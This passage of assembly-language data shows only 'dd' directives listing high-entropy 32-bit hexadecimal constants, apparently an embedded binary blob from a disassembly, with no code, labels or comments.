		dd 0E213CD72h, 0A651002Dh, 9C0243C8h, 6F109394h, 50B56D7Dh
		dd 6828EAA8h, 0CC48320Ah, 0B5CAE50Fh, 93E4A0E1h, 0D6DB2ADEh
		dd 354072D8h, 930499Fh,	40204970h, 47E43C5Ch, 8D04AE04h
		dd 88DDBD8Eh, 6237067Ah, 0C1D2046Eh, 18F211Ah, 24E344E0h
		dd 0FA1A566h, 0D3D1C069h, 347C6687h, 4540DE1Ch,	0CFD784EBh
		dd 0C7EB2A5Dh, 0D0C4D398h, 0A42F5813h, 8EB75516h, 45A7D02Bh
		dd 3BD25548h, 0F9F070D5h, 0BD4FEB02h, 0BB0BDB1Eh, 0DB8D5D4Bh
		dd 2C5C06Ch, 70F44686h,	0C0E48C2Fh, 0BC3CC49h, 0D05AA45Bh
		dd 2E648052h, 13649D04h, 2366332Fh, 50202E91h, 2E177293h
		dd 50E1C2D2h, 98325838h, 4EE02C18h, 0A03AFCDCh,	6ABB989h
		dd 0C4AFC58Eh, 0F87A1031h, 0B502B4F5h, 0BAC5058Fh, 1718E102h
		dd 0AE153068h, 0B4DD80Fh, 0ECD8B84h, 0F01C0208h, 0C5AA22CBh
		dd 0B41BBE7Ch, 0DFD1F0FDh, 98CD1B48h, 5B81B07Fh, 0C856DE06h
		dd 0BFA12003h, 0A27036F3h, 0A0C21BFFh, 0DAAF640Eh, 57B8182Bh
		dd 4910CACBh, 0AA86E8Bh, 12AD5EE8h, 7DB90C7Ch, 117577A6h
		dd 8E2FCD76h, 6E9701h, 0B3E00553h, 0BF0A3918h, 8AEF4358h
		dd 0F3177C53h, 0CB05F149h, 0B8734502h, 0B7F5C3FBh, 0BAD2ACBFh
		dd 77FB5CB2h, 0D8D94432h, 8F21BACAh, 0E6B176F5h, 0C36AFF84h
		dd 8B5614BAh, 0B6D9EFE7h, 2C1EC0Ah, 14A234ABh, 0B492E6AFh
		dd 2541BE0Eh, 741262A1h, 0E3D90316h, 77F320E8h,	0E057451Eh
		dd 2ADF6C3Bh, 14D4A52Bh, 57EB732Eh, 0D2F52C28h,	69CC7C97h
		dd 7852267Fh, 1917D641h, 0F6977E98h, 3348271h, 17916AB0h
		dd 865DBF8Dh, 0EAEFB090h, 92AC3B95h, 0A877A5A1h, 6155FF41h
		dd 0D4502AAEh, 0D594D508h, 9D51610Bh, 88A25C30h, 285D0508h
		dd 746A860Ah, 0D397AB57h, 61F016B5h, 0A50CBE04h, 3751885Dh
		dd 0A1A77EAAh, 0AF94EB2Eh, 5F3D4754h, 9EA237ECh, 0DEB9A960h
		dd 6BE12805h, 6E90DA88h, 3B9A93E5h, 0DCCC8512h,	6C8A89EBh
		dd 6115F80Fh, 3606207Ch, 3ABE93Ah, 4496FB10h, 0ACAABF4Dh
		dd 57376982h, 0A26599EFh, 688C03A2h, 34536A2Dh,	1BC24595h
		dd 858D338Bh, 0F0FC8A1Dh, 2636CEFBh, 0ECC0ABEDh, 1999A832h
		dd 343D55C0h, 0D3DA51DEh, 86467532h, 9C5AA5A2h,	2B1B0775h
		dd 0E26F95C6h, 0C13BA6ACh, 28ABFC5h, 3F2E1DD4h,	5DCF2F80h
		dd 0F74290BCh, 7C9EF983h, 50B4F5Dh, 0A7FFB554h,	2D5E71E8h
		dd 6FBECAD1h, 2A6FCF4Eh, 0A2F2068Bh, 0D907C5E6h, 5FC1AB4Fh
		dd 4CCFA14Ch, 0D023F679h, 8A2C4386h, 75674341h,	4B9478CEh
		dd 3D5A865Eh, 0D37C0855h, 0F34D4098h, 4791A502h, 9756A5FDh
		dd 45D24CE3h, 80C510C8h, 250C42A2h, 6DAC9B95h, 0DE065A76h
		dd 5AAFCF25h, 14A85A9Ah, 8BC88D35h, 9ECA38FAh, 0B6116359h
		dd 0DEEA1060h, 93E5E825h, 880A6DEAh, 0F174502Ah, 0C2B2462Fh
		dd 45E08D7Fh, 3D70F0B0h, 6FA4C446h, 5F6BC0AEh, 0A593CDE1h
		dd 0B65B38Eh, 48A57A55h, 0A294561Fh, 0BE255AAEh, 91B4A070h
		dd 5ABD0A5Bh, 28A36B54h, 94A48998h, 0FF3CB29Dh,	0ECE22014h
		dd 0A489059Fh, 0EE531CC4h, 0A8294471h, 7FDAD7D7h, 4B096CCBh
		dd 0C62F78FAh, 0C0FAA296h
		dd 61048272h, 0BE2A3905h, 3A9E5B4Ch, 0F361009Ch, 0F9E32EB8h
		dd 8CC572Fh, 424CC1C1h,	5FBE0DE5h, 46ABE4FCh, 0CF82A2D1h
		dd 5428256Ah, 0E0E26564h, 0E49AF047h, 0A0FA66ACh, 0ACE2AC20h
		dd 0A3AAE085h, 16BE51C7h, 6E0B9EF1h, 32D867AEh,	33D8BD97h
		dd 11F66E12h, 98569A44h, 0AE867919h, 40151F81h,	82557551h
		dd 140A8020h, 0C6FCEE93h, 0E8E5C9D9h, 0C2F951EAh, 0D9CB1908h
		dd 0CC31BC55h, 0D20512h, 0F0E18B0Ah, 2D93AA8Dh,	2E9060EFh
		dd 0C54F4051h, 0F0909FFDh, 553084B4h, 1771C5D0h, 14550BACh
		dd 55E6846Eh, 8D4ECE86h, 3E53476Ah, 0E9BCAAABh,	10160B42h
		dd 6F83985Ah, 57A94B12h, 1A481374h, 68B25011h, 33DF9D97h
		dd 0B1B6E57Ch, 3FA595F7h, 17E4B6F2h, 49DF0EDCh,	73A5D609h
		dd 0B408D6B3h, 0D5546E08h, 0D03244D9h, 0DCA2A638h, 2CB86649h
		dd 0EE2D0FE7h, 58BEA56Ah, 10058A97h, 0E1D9368Dh, 0F702D289h
		dd 67995F07h, 0C275A863h, 39808049h, 8E26AB3Ah,	97A5ED0Eh
		dd 0F46D6EABh, 4F3A5C15h, 5CD5148Dh, 2AD64FCAh,	3900B6D6h
		dd 5D44A821h, 505874Ah,	0D83D8609h, 0BC8B2C2Fh,	0B15EC2EDh
		dd 0E4CF5462h, 0E1DE1E0h, 270E9800h, 0AEB865Ah,	0E8775070h
		dd 60E42D6Ah, 38B08063h, 0B58B38D4h, 1118E587h,	85DA03C7h
		dd 3162AAEh, 0D88DB682h, 42B393EFh, 0AE0AF000h,	2A4148E1h
		dd 0E8535A35h, 0A8924036h, 3DA4563Fh, 0E46881Ah, 7BD8813Ah
		dd 0D65310Bh, 95DBDC20h, 0ADE07008h, 0E966E14Bh, 7400A5F6h
		dd 98DCC665h, 76E08203h, 5B62A235h, 42160214h, 731F165Bh
		dd 2EEDB26h, 0AC1185CCh, 0D01A2F6Bh, 0E24DDC69h, 0C940130Ch
		dd 0DAE44A3Bh, 81FC041Eh, 18301FAh, 368BB554h, 4F761896h
		dd 8E368055h, 0D8767C5Ah, 82F070FCh, 0C670140Fh, 1809EAEDh
		dd 0FC540733h, 1C049D4Fh, 0E014BAE8h, 283EE285h, 5198673Ah
		dd 0E94341C0h, 0C2D54961h, 0A8A5A940h, 1AC00210h, 0BD066D0h
		dd 0EED9C8h, 0DA2989FAh, 0D79D2F1Ah, 507D33E6h,	0DD490773h
		dd 0C8B02576h, 9774AA80h, 6FC0EB3Fh, 0A85B0EBAh, 8A3EC8C8h
		dd 672587Fh, 0D2AD1500h, 9E578B9Ch, 0A57D3C24h,	2330F39h
		dd 735BCC41h, 8916D765h, 2E51F28Ah, 990A548Eh, 0EE031AB3h
		dd 54E66BF3h, 8FA45C15h, 649E9846h, 5A2C155Bh, 3CAA00F3h
		dd 39C1587h, 6D9C8F1Eh,	0E0767402h, 88E812B2h, 60F858F5h
		dd 895EA722h, 805F309Ah, 0FA94015Ah, 50015FD4h,	0C203FF0Ah
		dd 29D5B567h, 823268A4h, 0CA2E07DDh, 4A10AA97h,	0CDA42933h
		dd 4487D690h, 0E63A4541h, 286CB068h, 0BD051EF3h, 0EFB7DA0h
		dd 37580CE8h, 1A078803h, 3496CE0Eh, 0A2636AADh,	0C6B03F8Dh
		dd 3565CD69h, 6B04F82Bh, 1531563Eh, 27E5C51Fh, 0DC9DDC86h
		dd 9DC73570h, 0D18DF0EEh, 0A6E5CAB3h, 9334EF6Ah, 0C8A9E20Ah
		dd 50603133h, 70C86F2Ah, 25056AE7h, 49674415h, 0A4AC8905h
		dd 58456E32h, 0C4D7E259h, 0DE051A00h, 3F6A7C8Ah, 0EEBF463h
		dd 9A49DDD7h, 45391C47h, 548F9A31h, 0E615EBC8h,	0B01C44EFh
		dd 0CC16774Eh, 57714E23h, 0B54A72C2h, 508350C4h, 0F5F22EC1h
		dd 0F938C612h, 640C85F3h, 0A36D8FDDh, 2A16ABD6h, 0A059267Ch
		dd 0D605871Ah, 0A6F5DCDDh, 0AEDA4D1Ah, 0A735678h, 2EA5EB9Bh
		dd 2B363F4Bh, 3E4B1652h, 5407B5C5h, 116C5501h, 116D8048h
		dd 22A59EF1h, 0D5BC74BCh, 36BED610h, 0CB6AD05Bh, 285CCA31h
		dd 36761678h, 21C12915h, 65597531h, 0F3ED561Ah,	5021C06Bh
		dd 30704686h, 0F79FF85Dh, 0FE078296h, 0C18C59C1h, 8933825Ch
		dd 0B8D5CECh, 48D58272h, 50809E61h, 8FDAE86Ch, 881CE9E0h
		dd 5DCF812h, 6D341FD7h,	124B7427h, 8AC87DA8h, 2E8FDD6h
		dd 0B145BFE6h, 6D8EA526h, 0C8C33EC3h, 0CAC515BAh, 0AB17EB75h
		dd 2C3AFE31h, 28CA7021h, 21128B1h, 9CB3DBBBh, 79F8C518h
		dd 7329C2D1h, 460DA115h, 0D3C92911h, 0E0648092h, 1E1EFED0h
		dd 4418703Ch, 897A7A4Ch, 0DC657166h, 1E1A2FFFh,	86534489h
		dd 0D4F9F4BEh, 3B957946h, 55BD2F4Dh, 0ED223454h, 0E2C7C5D0h
		dd 0D1E08B7Bh, 630E52F4h, 0F4DAB9FCh, 31CB00F2h, 9146E8FBh
		dd 81B3ADACh, 0E4AA0440h, 0B431D11Eh, 0F72D6FD5h, 0A7F1EDE0h
		dd 69F5EE19h, 0C3F1ED34h, 0DDE7CA12h, 890E9BA4h, 1157AB7Fh
		dd 0C79D0EC0h, 41A454BCh, 2FBADF6h, 0DF5C2C2Fh,	468E0512h
		dd 90AA4717h, 0CB623A01h, 0C03282E6h, 0E1B46FC7h, 0ED98198Bh
		dd 0C5457CB5h, 517E4514h, 5721AF11h, 57427683h,	0E14F8B51h
		dd 0D7DF8264h, 5A222D7Dh, 3B5AE015h, 0BEAE0B84h, 3C533EFEh
		dd 0EEA82D6Eh, 88FCAA52h, 1A0E9250h, 50EB2B16h,	0D908A40h
		dd 0E0C268Ah, 572D5238h, 0C0E8AAD0h, 0D62F9853h, 1A70C869h
		dd 0E108F3E5h, 720B63E0h, 93A8574Dh, 0A9EF8980h, 2EBAC10Ch
		dd 0C12BD571h, 0FE4D77DAh, 0D8652A17h, 0B9532737h, 2A60D3BDh
		dd 65864DB8h, 0EFC3D497h, 702329DEh, 0F8A2E9AAh, 0F947DA21h
		dd 555F9BECh, 0BE343491h, 0FA3B46BAh, 0A5A60AB1h, 0F92AC528h
		dd 5A675A22h, 0BC3C00B3h, 51B66102h, 0DAE89B84h, 638AAC2Fh
		dd 0C63559F2h, 67BCA28Bh, 0E42559F2h, 31C58E94h, 141BD3F9h
		dd 0EA011613h, 375972D4h, 7AE1E42h, 0F4A5BB81h,	5F2914F8h
		dd 0B8E05875h, 0E5653210h, 0D8B8D166h, 0D51FC8BBh, 0ACA8CD01h
		dd 1D761306h, 0D813FD8Dh, 0E9AD1141h, 0ABBCC7A1h, 553211A3h
		dd 26FC89A3h, 94C4DA85h, 9946B565h, 0DF86599Fh,	0E08742D8h
		dd 0EE780FFBh, 0B106E1F3h, 13C547E3h, 6944849Fh, 6EAB5028h
		dd 81DC5FFh, 3BC7D5Dh, 0F8C2AA3Ch, 0ACABEB1Ah, 0A1508053h
		dd 0FB5036C9h, 0A77E1115h, 1317BAC3h, 0C0D6EBA4h, 1502C5F5h
		dd 4C505928h, 0D547F1E0h, 0EF8C6485h, 3C108F4h,	3F47E9AEh
		dd 0E1E55068h, 533C1F1h, 0EE9B3CFFh, 0CAE486EDh, 596700Bh
		dd 0E1B59A73h, 0D21B5F40h, 16EB4AFDh, 0D707555Ch, 0B133AE07h
		dd 9DB1500Dh, 94028607h, 0B5861156h, 1C802EB2h,	300A4312h
		dd 908A58E6h, 0AD8A8F2Ah, 0C8C4BD4Eh, 0B70B88BEh, 8C044157h
		dd 437379BBh, 698AC296h, 0E0F89F70h, 0D70A1E83h, 5F08D019h
		dd 0E833E917h, 0A42E8869h, 7CAF0690h, 0D84BF31h, 5F498987h
		dd 0AA8FC297h, 613CAFEFh, 42216181h, 12EB9749h,	4181A9D7h
		dd 60C5BE35h, 83E086CCh, 0BEFF9BFFh, 19018229h,	0E13CAF56h
		dd 22B8BB8Ah, 7035EC5Bh, 0F8E0DA39h, 0E63E1E2h,	0FADF34D2h
		dd 9248685Fh, 0C62C0CB6h, 1998FF26h, 0F1468038h, 0C1F0A5E4h
		dd 0AEEF83B1h, 0FC6F1757h, 5C54BF09h, 6C7AAE91h, 0B9EE2B06h
		dd 51613966h, 0EB85F5E1h, 0F8BE52EBh, 0C710F62Ah, 21981F07h
		dd 6609AB01h, 8D4F56FCh, 97035F9Fh, 0FCE0BCCFh,	102CF813h
		dd 0E793FE2Dh, 2413441Dh, 2301E307h, 0EB1C03E1h, 0F5D3245Ah
		dd 0A4B99280h, 0E611A688h, 9E250837h, 5B6D9C01h, 42FE7ABFh
		dd 5D17CB17h, 0F7994E8Bh, 93B67032h, 0E0FAF195h, 0D36CE5E7h
		dd 9BDC0A94h, 9753A2A0h, 0B864A0Ch, 0DFE0D796h,	0DFEAB4C2h
		dd 1146E101h, 55F067F1h, 7E130686h, 3566BC98h, 2BA8242Eh
		dd 0F8CDC83Bh, 3922E97Dh, 7D3608Ah, 0DEFF9F27h,	0EB9385C1h
		dd 0D885007Bh, 3962A89Ch, 24A71CCEh, 19C99E9Ch,	175FC30Ch
		dd 5067B15h, 0E2902870h, 77480EBFh, 0E2FE78E0h,	0ADAE9B13h
		dd 0A2F94F27h, 8E278F6Bh, 0C70B10ADh, 59910FEFh, 0AF9EBA4h
		dd 16166CC6h, 0A1165104h, 0BC562EBEh, 0DDFC45Ch, 72C5077h
		dd 3131B066h, 82052037h
		dd 3BE17048h, 6AD0E6EBh, 4142C028h, 1A8B681Fh, 1352C4E1h
		dd 77160D44h, 8B0CA123h, 1B011CA5h, 8C64D1E5h, 80912CFFh
		dd 3C3D3008h, 0F8842D0h, 14718Ch, 228DD2DDh, 0F485C392h
		dd 13D0499h, 5E1E6DD6h,	0F0712561h, 0F4F1C183h,	14879327h
		dd 0EE31791Bh, 0A3D7E16Eh, 55E48D6Ch, 0A9E092Ch, 5006A7A1h
		dd 6ED4C3B4h, 2C1D45h, 0C4F77534h, 1FE7EC3Bh, 0C8B70E4h
		dd 0DCA5AB59h, 1F3F43F6h, 0E97836C9h, 20B46701h, 0EBB9D495h
		dd 519D2FDCh, 4292088Ch, 0C2806B51h, 4316ABD4h,	118FE434h
		dd 422A022Ah, 0C5405C15h, 0E1333542h, 0F9C182F3h, 0E986EDE2h
		dd 78A8943h, 5B4007BAh,	7C58A64Dh, 5E00ECDDh, 1640BED3h
		dd 74FCD932h, 95836EA0h, 27408A1h, 0E36C0A16h, 222A191h
		dd 0A9BF738Dh, 0A02C704Dh, 0F84FCC48h, 7E46BA4Ah, 0DF59D6F5h
		dd 174069FCh, 0C674FB01h, 0D009B277h, 35B1AFC5h, 61BF7154h
		dd 7C4C7408h, 65F00441h, 85FFE6E4h, 39024035h, 0F896E255h
		dd 7A7A90C6h, 628F2515h, 2648C1DFh, 0B14B279h, 166FBEBCh
		dd 184A0723h, 3BF0BD1Ah, 0BA420389h, 7F8F3BDFh,	0AE0E0A9Dh
		dd 11888FA7h, 7C05ED80h, 0A5620460h, 410761C1h,	7C3142E9h
		dd 0E322C55Ah, 3B6B3A87h, 0BE8FE203h, 0CDF473F6h, 0EE8687E0h
		dd 0FF365B30h, 3A01955Fh, 5C5752C8h, 0FA099F87h, 13BE494Dh
		dd 0F7D5019Fh, 0C1219E95h, 8F5D2DC3h, 5DFA8B18h, 2D06DA77h
		dd 76175CA9h, 0FA420BA3h, 6DEA484Ah, 28849753h,	0A80793BAh
		dd 6E2AE692h, 626AABA0h, 0FF34345Dh, 297EB144h,	0CFA51B72h
		dd 8A871A36h, 199E01A2h, 57746252h, 0CB59B940h,	4A422780h
		dd 22F2068Ch, 440C9FCh,	405BE14Dh, 9A518CC4h, 0B30B32A5h
		dd 489C666Ch, 8A7ADB58h, 2581A21Ch, 9C43E62Ah, 0A7E838ECh
		dd 5C59DD0Ah, 13B0C714h, 0B9CBBC09h, 1A710628h,	4458C868h
		dd 311504ADh, 0F59FD746h, 0A19243DCh, 795FC1D3h, 92210C59h
		dd 1E80DB7h, 0D589EBE1h, 28D00C7Bh, 4017CFC2h, 277D22ECh
		dd 0AD41AEC4h, 63FCEBA4h, 1E8B5228h, 0B9FF6248h, 0AF74B710h
		dd 9A25719Dh, 0C60A53ADh, 0D216C562h, 6DF388C5h, 2ED2BED8h
		dd 76149DFEh, 35D3F6CEh, 88EA68C2h, 0FE5EC5h, 0B2128E25h
		dd 0CA5584EAh, 0BD4D2F18h, 52DDA1DAh, 956A7C1Fh, 3344E119h
		dd 86332D2Eh, 0C744BD78h, 12D4978Fh, 272E9981h,	4B5459D1h
		dd 0B9141774h, 0D4152972h, 0F488134Eh, 0D4F7F292h, 2A8B0D64h
		dd 6B5AB8FAh, 0B1B938D7h, 724993F7h, 4A920D75h,	0E089045Bh
		dd 6BACE023h, 3C923D01h, 70403FB3h, 0F82F59B1h,	0AAA10C1h
		dd 4185E87Eh, 2FAC4C01h, 0D5F8A286h, 0C5E58FCCh, 82A82D6Ch
		dd 0F20115Dh, 85C9E01h,	4014047Fh, 41FA13h, 19FBF70h, 35CFCACh
		dd 0BDA9F461h, 93DFAD4Ah, 72F5D29h, 48F9FC2Ch, 4CA197D0h
		dd 0E160F28Eh, 76DF885Fh, 63C359D6h, 77FE3BA2h,	75EC02C9h
		dd 8A44F667h, 46B381B4h, 435C3135h, 12C2317Dh, 85428A0h
		dd 0C3490046h, 0BFD956h, 4B07211h, 8706825h, 617C7A7Bh
		dd 2516B830h, 5B0681A5h, 25FC822h, 8E43844Dh, 682F2335h
		dd 46E733F1h, 0E0018015h, 0AA1851Dh, 8DA2C19h, 83B2A09Eh
		dd 2FE7E272h, 206AACA1h, 2E6A6274h, 1819F5D6h, 5008EC20h
		dd 5759E81Ah, 7804D36Bh, 0C01F9E86h, 0AA1CB81Dh, 703D5428h
		dd 16215220h, 19BB184Ah, 0C3AE117Ch, 6663A014h,	2FFEC4DFh
		dd 72BC11E8h, 3E1AD97Ah, 6AB01C59h, 1175B341h, 1DE65A23h
		dd 0E9FAEA15h, 53A3CB20h, 472E6A12h, 0B08EB7F9h, 0B7CFE579h
		dd 1E62FF17h, 824FF4Ch,	120E092Fh, 32B236D5h, 74E35B96h
		dd 0D560A66Dh, 4AB6267h, 0E83070B4h, 0CE10A120h, 303C4382h
		dd 0CAA6FA27h, 5FEC62E8h, 700661E0h, 760BE8BFh,	981F2108h
		dd 0FE44DFA1h, 0B62E3FFEh, 0C1FF8B14h, 4836EBE0h, 4574A057h
		dd 0D342079Eh, 0B8F3630Fh, 103E9382h, 6BB8557Bh, 347C1626h
		dd 390D5E88h, 0D4570015h, 3DDEE200h, 0A9B09089h, 9F6E24D0h
		dd 38241799h, 0D01486EAh, 1C69CAB2h, 9C4622D5h,	0E208DC01h
		dd 0E0AA1411h, 43BBB78Fh, 25F56780h, 5AC8C783h,	0A18D08DAh
		dd 3AC26565h, 0DE2D225Ah, 0A5D0F86Ch, 0C082D9BEh, 600C5DCDh
		dd 0DC846C9Ah, 96B6F7D8h, 0D20FA60Eh, 3C995095h, 0BBC65062h
		dd 0FB7A612Bh, 0D703CB21h, 0AB356F03h, 0F2D0B542h, 381176Ah
		dd 31C4A4EAh, 7DF02F96h, 41838307h, 8801294Ah, 0AE5D1B5Dh
		dd 0FB0A6D57h, 9C48BA2h, 950A3779h, 0F778D37Ah,	58BB8826h
		dd 4F4B6A71h, 630529BCh, 9B957524h, 0C84AB328h,	98052879h
		dd 0F5BA26E9h, 6EE157FBh, 5DBDC502h, 3852623Eh,	7C5DDBC9h
		dd 9F706B9h, 53211C32h,	706E0AEh, 12A7AC54h, 75F76D73h
		dd 0BD913089h, 181CC157h, 774B7BF7h, 0E48EC5C0h, 0E47E9272h
		dd 9FAD0602h, 0E8997A30h, 924DB120h, 8A442F41h,	0CE024AE4h
		dd 0E6E3C075h, 66A05EBh, 0F0056826h, 5BFA56B2h,	139F1FE4h
		dd 5A248B7Fh, 0BA158BD9h, 0BD18AB2Ch, 0DEA2ACEFh, 0CF4ACFF6h
		dd 0CA26DC47h, 24FEAD20h, 86BE15F0h, 59557AEh, 8199C461h
		dd 87579BD2h, 0F00080AEh, 1E05FEEBh, 625CCF22h,	0C122B0Dh
		dd 4C349752h, 2899A8Dh,	0C75A707Ch, 6BB8590Dh, 8BBE9A0h
		dd 4B689183h, 0CA7F80E1h, 0B0C2EE58h, 70F0FC15h, 1806AC56h
		dd 0FC04920h, 511EF070h, 73F1624Dh, 2942F006h, 620015A3h
		dd 0BDD03AF4h, 4A2D61D7h, 198395B6h, 214DAFB6h,	9A4F036h
		dd 0CB20184Ah, 674A27A8h, 0B01C07A7h, 0F6200DBAh, 0D145D138h
		dd 995B29A0h, 58D35F0Bh, 8D57C11Fh, 0E4834F8Ch,	5EBC1C46h
		dd 1D5B3554h, 31C5B5DEh, 899FF8ABh, 4D0769D0h, 0EF873973h
		dd 4315F2ACh, 91572006h, 424C0C50h, 98597EA6h, 0E06F768Bh
		dd 1AE338A9h, 896EB089h, 7A013175h, 43EB29B4h, 7557169Bh
		dd 0ECB02CAh, 0F8EE7BAEh, 857BD872h, 0E4C25E41h, 71F65D1Fh
		dd 0CBC867C1h, 8B2A57CFh, 0E5E1B9DCh, 0A34611ADh, 0C05166E8h
		dd 0FC25F00h, 1C07C01h,	6D385FC5h, 2CE53029h, 3E8ABBD6h
		dd 0A07220BFh, 27E02460h, 62202Ah, 415E2C73h, 1202087h
		dd 21CC0A6Ch, 0CFFEABEAh, 0AA75A803h, 2CBC604Eh, 0F68B5EABh
		dd 0B28685C6h, 1259A920h, 93E2763h, 69073BD7h, 948CCB28h
		dd 3525D341h, 829A3F8Ah, 15D92140h, 47845D75h, 22204BB9h
		dd 3924B35Dh, 8633CBC7h, 13B557C4h, 2009EBB6h, 84602EB3h
		dd 88CB9FFBh, 100206E2h, 363C8F69h, 0EF12F2EAh,	85808A5h
		dd 0D02450Ah, 0FC2228A9h, 0D6C7E960h, 6891C048h, 535DF2A1h
		dd 791CAEE1h, 0B182B461h, 92D743F8h, 901B58C0h,	51F52058h
		dd 8E30969Dh, 99901B1Ah, 0D72D9775h, 0BFEABF7Bh, 0F259C1FFh
		dd 0FF299389h, 0D6BEF4A6h, 7C1C578h, 84E60452h,	0BEC102C8h
		dd 905F9104h, 5424676Dh, 4F2B8B04h, 3F0A534h, 0D14EAA1Bh
		dd 4528EF92h, 0A4550C2h, 0DD7EC7A6h, 8216A139h,	99161977h
		dd 6C5EF9DDh, 0C1A91071h, 4C4C5047h, 7ECC56E9h,	0A0801946h
		dd 60882251h, 4C3B7667h, 5998BF53h, 0C5C2DEB8h,	50DA44EDh
		dd 0F897E909h, 0AACC7BBCh, 4CEC54E0h, 0B1064409h, 0D04C35EEh
		dd 10991129h, 0EC6B4E20h, 0F1BA0DC0h, 44D2C277h, 863E439Fh
		dd 0D350F080h, 2CFF2F8h, 0DC4C5A83h, 0E8255CBAh, 4BE6A701h
		dd 2C234C83h, 546F6DE1h, 0D4057C16h, 0BA38A36Dh, 0A6FE7324h
		dd 9647881Fh, 0AF361C8Ch, 32F1EF41h, 2AD0F8AAh,	0CFE26151h
		dd 88E38DF2h
		dd 0ECB6F901h, 6F32091Ch, 38E45DC1h, 9B64A164h,	74044A2Bh
		dd 0B1323256h, 0A2851472h, 4DDF8C5Fh, 12E72EEFh, 0E93C2647h
		dd 778CBC42h, 6A440E2Ch, 0E18D66FDh, 2357D42h, 9BA49DCDh
		dd 0CCCA151Dh, 0E35436BEh, 0E1332BA2h, 588A4147h, 4697E6ADh
		dd 1DE3B8BFh, 0E8C4FA5Dh, 9C18CB47h, 0EAAD7FB7h, 6A6F92h
		dd 449A4F78h, 27BD3BDCh, 0D8C8F611h, 0B00F44ACh, 8077A91Bh
		dd 0FC437Eh, 8D251DE8h,	4B781798h, 31F0E423h, 4A168967h
		dd 0EC025FC2h, 9F8202B9h, 420C3821h, 0B0B4D34h,	0AB8FFF01h
		dd 18BE06Ah, 6841059Ch,	2E88BCA3h, 8006D82Ah, 641C0287h
		dd 0F224612Ah, 0A5EB0028h, 0BD80E1FCh, 68026270h, 4EF2CD39h
		dd 0E601FEE2h, 99338368h, 389AD2FEh, 6968B9E6h,	0B113BCBh
		dd 1B078475h, 622B7797h, 12563D08h, 77978903h, 18968172h
		dd 0AE7453h, 1FA0E914h,	0DF52922Ch, 85169C57h, 81AD2D48h
		dd 2081B01Eh, 6220E6Eh,	0A1085844h, 327D48C5h, 0EC059110h
		dd 5FC0A9EDh, 46E2A6ACh, 3F53DCCDh, 0FE26BD1Ch,	0C81728h
		dd 0D546FD04h, 4356420Eh, 8B8234B4h, 0C452009Bh, 628ACEC9h
		dd 10BAC4E3h, 0EBF7C631h, 0A3A11D36h, 6D84C6E3h, 0B62CBBEh
		dd 1A70C545h, 0CA332234h, 964F283Eh, 720AE992h,	716DA24h
		dd 57638F66h, 0BE86A757h, 8BA5B97Fh, 0C3FAB036h, 0F7BCFA6Fh
		dd 83301F84h, 5FD4B698h, 1EE55CC3h, 514909DFh, 71B0F4C5h
		dd 20BA9FE0h, 0B5DCA085h, 6DC84AF1h, 0EFB95C3Fh, 8FF000C3h
		dd 0C6E4245h, 0DD66815h, 49F1521Ah, 78A8A905h, 0C8BA53A8h
		dd 3AAE1940h, 3198F614h, 80DCCBF3h, 950C195Ah, 0DCBF0839h
		dd 9F6E87F6h, 20B31A39h, 0AEC3A60Ch, 325B0242h,	0DA81EC64h
		dd 310DE13Eh, 2D0420A2h, 8979014Dh, 87ED4305h, 2077F848h
		dd 0BA43E983h, 0A0D18301h, 2963B006h, 0BD71D886h, 3174B054h
		dd 4811104Ch, 10608AA2h, 9EB0467h, 0B080EA85h, 0EDC18471h
		dd 71B84EDBh, 7D96F5D3h, 0C034603Ah, 29020CFAh,	54A6CF93h
		dd 0E054C5Dh, 40D53709h, 83FDA81Fh, 0F0C16A41h,	0BAFC66Eh
		dd 0A412887h, 0E0FF44C7h, 7D10EB87h, 0A2D84088h, 0AE07EA5Eh
		dd 0A0C8887h, 72E2C60Bh, 0AA2FEF9Fh, 5697E2F1h,	1738257Dh
		dd 0F302EC0Fh, 0EFE507AEh, 341F5022h, 0BB1B5ACFh, 0E1748D0Ah
		dd 0EFF6A51Eh, 3178EE0h, 3ED6C562h, 743A77B4h, 0F3EB2920h
		dd 7C1E6556h, 55415435h, 35575823h, 9B053277h, 0D3B367C4h
		dd 5F1FC158h, 81FF498Ch, 8FA79A1Fh, 89462C34h, 0B1348B3Ah
		dd 2C2E8425h, 2B777B46h, 0CB04C374h, 0D5EB0ED9h, 0E265ADF7h
		dd 1514C72Ah, 0BC280D5Fh, 0DD835743h, 131DAE85h, 0F2D52A4Bh
		dd 0C140822Ah, 0A8471EE3h, 2AF689C3h, 45273089h, 5AEB3545h
		dd 35318148h, 0FB601262h, 4316097Ah, 5020B9FCh,	9EBEA82Ch
		dd 14ED8C3Bh, 0CB922BAh, 0B4865B75h, 555D7F8Ch,	0D6B93B81h
		dd 61A2A991h, 388715CDh, 0A5AF47F1h, 3D471C54h,	2AF7705h
		dd 513999CCh, 140E1FC0h, 0FDD8DC68h, 309E4B3Fh,	26E5643Dh
		dd 0D8F4FC06h, 0BD65EB59h, 1F84457Fh, 0DA1B6B2h, 1B43948Fh
		dd 9FE5C5DBh, 0F4A88E55h, 0CD553699h, 817E4FE2h, 33503D89h
		dd 0E9F9AED7h, 0BEE7FC32h, 7A58602Fh, 0BF1500CEh, 0BB18DBAFh
		dd 8BED0E36h, 0F0101C24h, 37FDA8DFh, 0BCA03C3Ah, 11DBF323h
		dd 60D111E4h, 1BB15F26h, 0D59E8783h, 2A8CD828h,	4A03B956h
		dd 186ECA3h, 1DE527Ch, 3387D6Ah, 8A240C56h, 27300EB0h
		dd 0AD22EE3Ah, 11C31A3Ah, 13E57A97h, 148664B0h,	1983D61Ah
		dd 0D05BFE1h, 0B72E32Eh, 0F114E082h, 8685F4DEh,	1E917872h
		dd 836A0D57h, 4FC3BCD2h, 20508362h, 486B0782h, 5CC6C690h
		dd 0E4C0566Ch, 952A8254h, 84CAD00h, 0AD41EAA1h,	0B80A23B8h
		dd 4B225FB3h, 0E0DD640Dh, 0E37E813Bh, 0E185BEC2h, 5F54FFB5h
		dd 0E7FC9A2Ah, 82538F6h, 0BBA0DC29h, 820A40A4h,	94A98143h
		dd 71BCB8A6h, 797CC215h, 1ED9B996h, 0AA55BDA2h,	643F4E66h
		dd 82632070h, 0EDC3C82Bh, 2D16AA22h, 9D4AB545h,	0C2D90550h
		dd 0F1DC6F80h, 0D437B8A4h, 145D57EFh, 0F9BE5FB4h, 0D0284086h
		dd 0D47DDF50h, 0AE248455h, 0D3594903h, 15E636ABh, 4605C5F6h
		dd 21726309h, 86275DCEh, 0A5C1F2BBh, 52FEEFE7h,	0F5B6C8DDh
		dd 0C4B30E6Bh, 0DFC0B2AEh, 0F73FEA61h, 42DC82BAh, 0C5E1F76Bh
